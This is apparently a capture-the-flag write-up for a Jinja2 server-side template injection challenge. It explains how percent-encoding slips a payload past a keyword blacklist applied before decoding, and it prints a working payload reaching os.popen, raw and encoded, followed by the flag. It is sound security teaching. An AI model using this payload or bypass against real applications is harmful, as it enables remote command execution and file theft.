MoeWalls
140 words
1 minute
5571 (SSTI)
Challenge Summary
The backend attempts to sanitize user input by blocking specific “dangerous” literals:
BLOCKED_LITERALS = [ '{', '}', '__', 'open', 'os', 'subprocess', 'import', 'eval', 'exec', 'system', 'popen', 'builtins', 'globals', 'locals', 'getattr', 'setattr', 'class', 'compile', 'inspect']The page is vulnerable to SSTI. The objective is to bypass the blacklist and execute a Jinja2 payload to read the flag file.
Key Idea: Percent-Encoding to Evade Blacklist
- The blacklist is applied on the raw input before decoding.
- By percent-encoding the entire payload (including braces, dots, underscores, quotes, etc.), we hide the literal characters from the blacklist.
- When the server decodes the request and then renders the template, the payload executes.
Working Payload
Raw payload:
{{config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read()}}Fully percent-encoded:
%7B%7B%63%6F%6E%66%69%67%2E%5F%5F%63%6C%61%73%73%5F%5F%2E%5F%5F%69%6E%69%74%5F%5F%2E%5F%5F%67%6C%6F%62%61%6C%73%5F%5F%5B%27%6F%73%27%5D%2E%70%6F%70%65%6E%28%27%63%61%74%20%66%6C%61%67%2E%74%78%74%27%29%2E%72%65%61%64%28%29%7D%7DWhy This Bypass Works
- Blacklists are fragile, especially when applied before decoding.
- Encoding the entire payload prevents the literal tokens from matching blacklist checks.
- After decoding occurs later in the request/templating pipeline, the payload is restored and evaluated.
Flag
v1t{55T1_byp4ss_w1th_3nc0d1ng}